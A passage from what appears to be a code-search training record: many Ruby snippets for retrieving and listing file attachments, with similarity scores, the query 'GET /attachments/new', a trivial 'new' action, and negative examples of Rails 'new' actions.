"def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def index\n @attachments = Attachment.all\n end",
"def get_attachment(attachment_id)\n params = {'key' => @api_key}\n RestClient.get(\"#{@base_uri}/attachment/#{attachment_id}\", {:params => params}).body\n end",
"def get_attachment(name)\n assert_attachments_property\n\n attachment = self.attachments[name] if self.attachments\n\n unless self.id && attachment\n nil\n else\n adapter = repository.adapter\n http = Net::HTTP.new(adapter.uri.host, adapter.uri.port)\n uri = Addressable::URI.encode_component(attachment_path(name))\n response, data = http.get(uri, 'Content-Type' => attachment['content_type'])\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end",
"def attachment( document_id, attachment_id )\n new( :id => document_id ).attachments.get!( attachment_id )\n end",
"def fetch_attachment(document_id, attachment_name)\n server.get(\"#{name}/#{CGI.escape(document_id)}/#{CGI.escape(attachment_name)}\", :no_json => true)\n end",
"def getAttachment(attachmentId)\n params = Hash.new\n params['key'] = @API_KEY\n response = RestClient.get(@BASE_URI + '/attachment/' + attachmentId, {:params => params})\n return response.body\n end",
"def list_attachments\n @artifact_answer = ArtifactAnswer.find(params[:id])\n @attachments = @artifact_answer.attachments\n render layout: false\n end",
"def get_issue_attachments(issue_id_or_key)\n get(\"issues/#{issue_id_or_key}/attachments\")\n end",
"def show\n @attachment_datum = AttachmentDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment_datum }\n end\n end",
"def get_attachment(*params)\n tid = params[0]\n aid = params[1]\n dir = nil\n dir = params[2] if params.size > 2\n if params[0].class == Hash\n params = params[0]\n tid = params[:ticket] if params.has_key? :ticket\n aid = params[:attachment] if params.has_key? :attachment\n dir = params[:dir] if params.has_key? :dir\n end\n tid = $~[1] if tid =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{tid}/attachments/#{aid}\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss HTTP response\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n headers = response_to_h(resp)\n reply = {}\n headers.each do |k,v|\n reply[\"#{k}\"] = v.to_s\n end\n content = resp.match(/Content:\\s+(.*)/m)[1]\n content.gsub!(/\\n\\s{9}/,\"\\n\") # strip leading spaces on each line\n content.chomp!\n content.chomp!\n content.chomp! # 3 carriage returns at the end\n if (RUBY_VERSION.to_f >= 1.9)\n binary = content.encode(\"ISO-8859-1\",\"UTF-8\", { :invalid => :replace, :undef => :replace })\n else\n binary = Iconv.conv(\"ISO-8859-1\",\"UTF-8\",content) # convert encoding\n end\n if dir\n fh = File.new(\"#{dir}/#{headers['Filename'].to_s}\",\"wb\")\n fh.write binary\n fh.close\n else\n reply[\"content\"] = binary\n end\n reply\n end",
"def attachments(message_id, params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Email/#{message_id}/Attachment\", params: params)\n end",
"def attachment(name)\n name = name.to_s\n return attachments[name][:file] if @attachments.try(:[], :name).try(:[], :file)\n begin\n result = retrieve_attachment(name)\n @attachments = (@attachments || {}).merge(name => {:file => result[:file], :dirty => false, :content_type => result[:content_type]})\n result[:file]\n rescue RestClient::ResourceNotFound\n nil\n end\n end",
"def get_attachment attachment_index\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if attachment_index == ''\n raise 'attachment index not specified'\n end\n \n \n str_uri = $product_uri + '/pdf/' + @filename + '/attachments/' + attachment_index.to_s\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Attachment']\n \n \n rescue Exception=>e\n print e\n end\n end",
"def show\n @attachment = @page.attachments.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @attachment.to_xml }\n end\n end",
"def index\n @attachments = @pad.attachments\n @attachment = @pad.attachments.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attachments }\n end\n end",
"def show\n @attachments = @document.attachments\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def get_attachment(db, locale, version, attachment_name, ttl=settings.long_ttl)\n id = get_topic_or_image_id(locale, version, attachment_name)\n return get_from_db_or_cache(db, id, {:trx => CouchDBTransaction::FETCH_ATTACHMENT, :attachment_name => attachment_name}, ttl)\n end",
"def show\n # These are expected and required by the file_handler route: \"file_attachments/:content_type/:parent_id/:id\"\n id = params[:id]\n parent_id = params[:parent_id]\n \n case params[:content_type]\n when \"PrivateMessage\" \n # Only users involved in PM conversations can view attachments\n file_attachment = PrivateMessage.with_recipients.with_user(session[:user_id]).with_attachments.find(parent_id).file_attachments.find(id)\n when \"NewsArticle\"\n file_attachment = NewsArticle.include_attachments.find(parent_id).file_attachments.find(id)\n else \n end\n \n # Sanitize path to ensure that the path is not pointing anywhere malicious on the server \n path = file_attachment.attachment.path\n raise MissingFile, \"Couldn't read #{file_attachment.attachment_file_name}\" unless\n File.readable?(path) and\n File.file?(path)\n \n send_file file_attachment.attachment.path, :type => file_attachment.attachment_content_type\n end",
"def attachments\n @attachments\n end",
"def get_all_attachments(page_id)\n\n url = \"#{@@conf_url}/#{@@urn}/#{page_id}/child/attachment?os_username=#{@@login}&os_password=#{@@pwd}&status=current\"\n\n begin\n atts = RestClient.get url, :content_type => 'application/json', :accept => 'json'\n rescue RestClient::ExceptionWithResponse => e\n puts Nokogiri.XML(e.response)\n nil\n end\n\n unless atts.nil?\n JSON.parse(atts)[\"results\"]\n end\n end",
"def show\n @pattachment = Pattachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pattachment }\n end\n end",
"def attachments\n Easybill::Api::Attachments\n end",
"def show\n @meeting = Meeting.find(params[:id])\n @json_from_file = 0\n for file in @meeting.file.attachments\n if file.content_type == 'application/json'\n download_file_from_s3('smartmeetingsbelieving', \"./tmp/\" + file.filename.to_s(), file.filename.to_s())\n @json_from_file = File.read(\"tmp/\" + file.filename.to_s())\n end\n end\n end",
"def get(\n id,\n deadline: nil\n )\n return @account_attachments.get(\n id,\n deadline: deadline,\n )\n end",
"def attachments\n load_object\n load_attachments\n render layout: false\n end",
"def show\n email = Gmailer.gmail.inbox.find(:all).find {|e| e.msg_id == @message.message_id.to_i } #convert due to wrong type\n @attachments = email ? email.message.attachments : []\n end",
"def show\n @record_id = params[:id]\n\n # run the where clause globally\n @relevant_record = Record.find(@record_id)\n @relevant_attachments = RecordAttachment.where(record_id: @record_id).order(\"id\")\n\n # make the record attachments an array if it isn't already \n if @relevant_attachments.length > 1\n @record_attachments = @relevant_attachments\n else \n @record_attachments = [@relevant_attachments[0]]\n end\n\n respond_to do |format|\n format.html {}\n format.json { render json: {\n record: @relevant_record, \n attachments: @record_attachments,\n }.to_json }\n end\n end",
"def attachments\n @attachments ||= []\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def get_email_attachments\n\t\tresp = @resp\n\n\t\tparams[\"email\"] ||= \"\"\n\t\tparams[\"password\"] ||= \"\"\n\n\t\t# Authorize and process attachments in mail account\n\t\tresp = Resume.gmail_attachments(resp, params)\n\n\t\trender :json => resp\n end",
"def index\n @post_attachments = PostAttachment.all\n end",
"def index\n @post_attachments = PostAttachment.all\n end",
"def get_attachment\n @document = EcoDocument.find(params[:id])\n send_data(@document.data,\n :filename => @document.name,\n :type => @document.content_type,\n :disposition => \"inline\")\n end",
"def show\n @cause_analyasis = CauseAnalysis.find(params[:id])\n @attachment = @cause_analyasis.attachment\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cause_analyasis }\n end\n end",
"def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n path = \"/Notes/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIFileAttachment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def attachments\n parts.attachments\n end",
"def show\n @attached_asset = AttachedAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attached_asset }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def index\n @embedded_attachments = EmbeddedAttachment.page params[:page]\n end",
"def index\n @cms_attachments = Cms::Attachment.all\n end",
"def index\n @pub_attachments = PubAttachment.all\n end",
"def find_attachment(resource_id, attachment_id)\n http.get(\"#{attachment_endpoint(resource_id)}/#{attachment_id}\") do |response|\n Rexpense::Entities::Attachment.new response.parsed_body\n end\n end",
"def index\n @file_attachments = FileAttachment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_attachments }\n end\n end",
"def attachment\n @attachment\n end",
"def show\n @post_attachments = @post.post_attachments.all\n end",
"def show\n @post_attachments = @post.post_attachments.all\n end",
"def attachments\n if attachment_ids\n attachment_ids.map {|id| Attachment.find(id)}\n else\n []\n end\n end",
"def show\n @file_upload_attachments = @file_upload.file_upload_attachments.all\n end",
"def get_document_attachments_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_document_attachments ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_document_attachments\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/attachments\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_document_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def attachments\n @attachments ||= ActiveStorage::Attachment.where(record_gid: record.to_gid.to_s, name: name)\n end",
"def show\n @file_attachment = FileAttachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @file_attachment }\n end\n end",
"def index\n @user_attachments = UserAttachment.all\n end",
"def retrieveImages\n posting = Posting.find(params[:id])\n post_attachments = posting.post_attachments.all\n respond_to do |format|\n format.json { render json: {\n status: 'ok',\n rowcount: post_attachments.length,\n results: post_attachments.map { |b| {\n id: b.id,\n imageData: b.image,\n description: b.description\n }}\n }}\n end\n end",
"def item_only_attachments\n @relevant_object = convert_id_to_model(params[:id])\n @images = @relevant_object.media_items\n end",
"def fetch_attachment(post, attachment_name, attachment_type)\n server_urls = perform_legacy_discovery(post[:entity])\n return unless server_urls.any?\n\n res = server_urls.inject(nil) do |memo, server_url|\n url = \"#{server_url}/posts/#{URI.encode_www_form_component(post[:entity])}/#{post[:public_id]}/attachments/#{attachment_name}\"\n res = Faraday.get(url) do |req|\n req.headers['Accept'] = attachment_type\n end\n\n if res.status == 200\n break res\n end\n\n res\n end\n\n res\n end",
"def index\n @note_attachments = NoteAttachment.all\n end",
"def retrieve_fresh_attachment\n Attachment.find(attachment.id)\n end",
"def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EmailsApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n local_var_path = \"/Emails/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<InlineResponse2002>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailsApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @file_upload_attachments = FileUploadAttachment.all\n end",
"def get_document_attachments(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def index\n @link_attachments = LinkAttachment.all\n end",
"def attachments\n @_message.attachments\n end",
"def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end",
"def attachment_get\n c_user = current_user()\n course = Course.where(id: params[:course_id]).first()\n\n # Course not found case\n if course.nil?\n return ( render status: 404, json: { result: \"Course Not Found\" } )\n end\n\n # Course found case\n if params[:type] == \"Document\"\n attache = Document.where(id: params[:attach_id], attachable_id: course.id).first()\n elsif params[:type] == \"Embed\"\n attache = Embed.where(id: params[:attach_id], attachable_id: course.id).first()\n end\n\n # Attachment not found case\n if attache.nil?\n return ( render status: 404, json: { result: \"Attachable Not Found\" } )\n end\n\n # Public case:\n if course.visibility == Visibility.published \n render status: 200, json: { result: attache}\n\n # Authenticated case:\n elsif logged_in? # Ensure that the user is logged in\n # Checks IF user is privledged or owns the course, ELSE return unauthorized\n if c_user.role == Role.admin or c_user.role == Role.moderator or\n c_user.id == course.user_id then\n render status: 200, json: { result: attache }\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n\n # Course is not (public) AND (owned by user and editable) AND (user is not privledged)\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n end",
"def attachments\n return @attachments\n end",
"def attachments\n return @attachments\n end",
"def attachments\n return @attachments\n end",
"def get_attachment_by_message_id(token, id, fields = nil, user = nil)\n request_url = user_context(user) << \"/Messages/\" << id << \"/attachments/\"\n request_params = nil\n\n unless fields.nil?\n request_params = { '$select' => fields.join(',') }\n end\n\n get_message_response = make_api_call \"GET\", request_url, token, request_params\n\n parse_response(get_message_response)\n end",
"def attachment(key)\n # Use to_a.find to take advantage of the eager-loaded attachments and blobs.\n attachments.to_a.find { |a| a.key == key && a.file&.attached? }\n end",
"def show\n @ticket_attachments = @ticket.ticket_attachments.all\n end",
"def index\n @order_attachments = OrderAttachment.all\n end",
"def show\n @attachment = @specification.attachment\n end",
"def list_attachments_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_attachments ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_attachments\"\n end\n if @api_client.config.client_side_validation && opts[:'alert_identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'alert_identifier_type'])\n fail ArgumentError, 'invalid value for \"alert_identifier_type\", must be one of id, alias, tiny'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/attachments\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'alertIdentifierType'] = opts[:'alert_identifier_type'] if !opts[:'alert_identifier_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertAttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @gallery_attachments = GalleryAttachment.all\n end",
"def get(\n id,\n deadline: nil\n )\n req = V1::AccountAttachmentGetRequest.new()\n if not @parent.snapshot_time.nil?\n req.meta = V1::GetRequestMetadata.new()\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.id = (id)\n tries = 0\n plumbing_response = nil\n loop do\n begin\n plumbing_response = @stub.get(req, metadata: @parent.get_metadata(\"AccountAttachments.Get\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n break\n end\n\n resp = AccountAttachmentGetResponse.new()\n resp.account_attachment = Plumbing::convert_account_attachment_to_porcelain(plumbing_response.account_attachment)\n resp.meta = Plumbing::convert_get_response_metadata_to_porcelain(plumbing_response.meta)\n resp.rate_limit = Plumbing::convert_rate_limit_metadata_to_porcelain(plumbing_response.rate_limit)\n resp\n end",
"def get_mail_attachment\n Log.add_info(request, params.inspect)\n\n attached_id = params[:id].to_i\n begin\n mail_attach = MailAttachment.find(attached_id)\n rescue => evar\n end\n\n if mail_attach.nil?\n redirect_to(THETIS_RELATIVE_URL_ROOT + '/404.html')\n return\n end\n\n begin\n email = Email.find(mail_attach.email_id)\n rescue => evar\n end\n if email.nil? or email.user_id != @login_user.id\n render(:text => '')\n return\n end\n\n mail_attach_name = mail_attach.name\n\n agent = request.env['HTTP_USER_AGENT']\n unless agent.nil?\n ie_ver = nil\n agent.scan(/\\sMSIE\\s?(\\d+)[.](\\d+)/){|m|\n ie_ver = m[0].to_i + (0.1 * m[1].to_i)\n }\n mail_attach_name = CGI::escape(mail_attach_name) unless ie_ver.nil?\n end\n\n filepath = mail_attach.get_path\n if FileTest.exist?(filepath)\n send_file(filepath, :filename => mail_attach_name, :stream => true, :disposition => 'attachment')\n else\n send_data('', :type => 'application/octet-stream;', :disposition => 'attachment;filename=\"'+mail_attach_name+'\"')\n end\n end",
"def get_attachments()\n\t\t\n\t\tmessages = list_of_messages()\n\n\t\t#Initializing Nested Hash so that we can store message_id, file_name and attachemnt id\n\t\tfiles= Hash.new { |l, k| l[k] = Hash.new(&l.default_proc) }\n\t\tmessages.each do |message_id|\n\t\t\n\t\t\t#Create a new request\n\t\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages/#{message_id}?access_token=#{@access_token}\"\n\n\t\t\t#GET REQUEST\n\t\t\tresponse = RestClient.get request_url\n\t\t\tresponse_body = JSON.parse(response.body)\n\n\t\t\t#Getting list of attachments based on message id\n\t\t\ttemp = response_body['payload']['parts']\n\t\t\ttemp.each do |item|\n\t\t\t\tif item['filename'] !=''\n\t\t\t\t\tfiles[message_id][item['filename']]=item['body']['attachmentId']\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\t\treturn files\n\tend",
"def show\n @conference=Conference.find(params[:conference_id])\n @issue = @conference.issues.find(params[:id])\n @attachments=@issue.attachments.all\n respond_to do |format|\n format.html # show.html.erb\n format.js\n end\n end",
"def get_sas_logical_jbod_attachments(client)\n OneviewSDK::Resource.find_with_pagination(client, ATTACHMENT_URI)\n end",
"def show\n attachment = current_attachment\n\n respond_to do |format|\n format.csv do\n send_data(\n attachment.file.blob.download,\n type: 'text/csv',\n filename: \"#{attachment.key}.#{attachment.scenario_id}.csv\"\n )\n end\n\n format.any do\n render json: attachment_json(attachment)\n end\n end\n end",
"def index\n @design_image_attachments = DesignImageAttachment.all\n end"
] |
[
"0.7398018",
"0.73920506",
"0.73920506",
"0.73920506",
"0.73920506",
"0.7295379",
"0.7253366",
"0.72095245",
"0.7198798",
"0.7198798",
"0.71464163",
"0.7033831",
"0.70257634",
"0.70257634",
"0.70257634",
"0.70257634",
"0.70257634",
"0.6987171",
"0.6986043",
"0.6960749",
"0.69193363",
"0.6892853",
"0.6875627",
"0.68497884",
"0.68482625",
"0.68313444",
"0.6826266",
"0.68177354",
"0.6813672",
"0.6807087",
"0.67990214",
"0.67669034",
"0.674814",
"0.67469144",
"0.6708628",
"0.66996133",
"0.6675174",
"0.666942",
"0.66573685",
"0.6646532",
"0.66341674",
"0.6629936",
"0.65757865",
"0.6551354",
"0.6521956",
"0.6521956",
"0.6521956",
"0.6518684",
"0.65003765",
"0.65003765",
"0.6499176",
"0.64917374",
"0.64898336",
"0.64800423",
"0.6458584",
"0.64577615",
"0.64577615",
"0.64568686",
"0.6427779",
"0.6413947",
"0.63970435",
"0.63757986",
"0.6367579",
"0.63600796",
"0.63600767",
"0.63600767",
"0.63441026",
"0.6338888",
"0.6336594",
"0.633309",
"0.6330702",
"0.6312673",
"0.6306486",
"0.6302945",
"0.6302834",
"0.6296515",
"0.6278933",
"0.62649786",
"0.62640065",
"0.62565565",
"0.6232058",
"0.6228537",
"0.62193084",
"0.6217674",
"0.6215041",
"0.6215041",
"0.6215041",
"0.6203385",
"0.61980575",
"0.619364",
"0.61827993",
"0.61780834",
"0.6177187",
"0.6177181",
"0.61678284",
"0.6163701",
"0.6143646",
"0.6133568",
"0.6132059",
"0.6122903",
"0.60934967"
] |
0.0
|
-1
|
GET /attachments/new GET /attachments/new.json
|
def new
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @message_attachment = MessageAttachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message_attachment }\n end\n end",
"def new\n @attachment_datum = AttachmentDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment_datum }\n end\n end",
"def new\n @attached = Attached.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached }\n end\n end",
"def new\n @attached = Attached.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached }\n end\n end",
"def new\n @pattachment = Pattachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pattachment }\n end\n end",
"def new\n @attachment = Attachment.new\n @entries = Entry.find(:all, :order => \"updated_at DESC\").map { |e| [e.title, e.id] }\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attachment }\n end\n end",
"def new\n @file_attachment = FileAttachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @file_attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n @courses = Course.where(:user_id => current_user)\n @assignments = Assignment.where(:user_id => current_user)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attached_asset = AttachedAsset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached_asset }\n end\n end",
"def new\n @event = Event.new\n 3.times { @event.attachments.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n end",
"def new\n @importation_attachment = ImportationAttachment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @importation_attachment }\n end\n end",
"def new\n @task = Task.new\n @project = Project.find(params[:project_id])\n @attachment = @task.attachments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end",
"def new\n @gig = Gig.new()\n @gig.build_attachment\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gig }\n end\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @action_file = ActionFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @action_file }\n end\n end",
"def new\n @bulletin_file = BulletinFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulletin_file }\n end\n end",
"def new\n @mfile = Mfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mfile }\n end\n end",
